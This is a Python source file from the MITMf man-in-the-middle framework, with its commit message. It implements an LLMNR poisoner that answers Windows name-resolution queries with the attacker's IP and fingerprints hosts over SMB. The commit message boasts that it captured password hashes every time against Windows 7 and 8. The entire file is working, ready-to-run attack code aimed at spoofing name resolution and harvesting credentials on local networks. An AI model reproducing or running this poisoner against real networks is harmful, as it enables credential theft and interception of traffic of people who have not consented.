MITMf/core/responder/llmnr/LLMNRPoisoner.py
byt3bl33d3r 08b9029a96 Responder's MDNS/LLMNR/NBTNS poisoners are back in action (better than ever), only WPAD remains.
Tested against Windows 7 and 8, got hashes 100% of the time! \o/

The rest of the servers will be added in after WPAD is fixed.

Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able.
Also the exact output is going to need tweaking, the lines are wayy to long
2015-04-28 02:03:12 +02:00

176 lines
No EOL
7.1 KiB
Python

#! /usr/bin/env python2.7
import socket
import threading
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class LLMNRPoisoner:
def start(self, options, ourip):
global args; args = options #For now a quick hack to make argparse's namespace object available to all
global OURIP ; OURIP = ourip #and our ip address
try:
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.252"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
UDPServer.server_bind(self)
#LLMNR Answer packet.
class LLMNRAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = socket.inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
# LLMNR Server class.
class LLMNR(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, soc = self.request
try:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if args.analyze:
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
else:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
else:
pass
else:
pass
except:
raise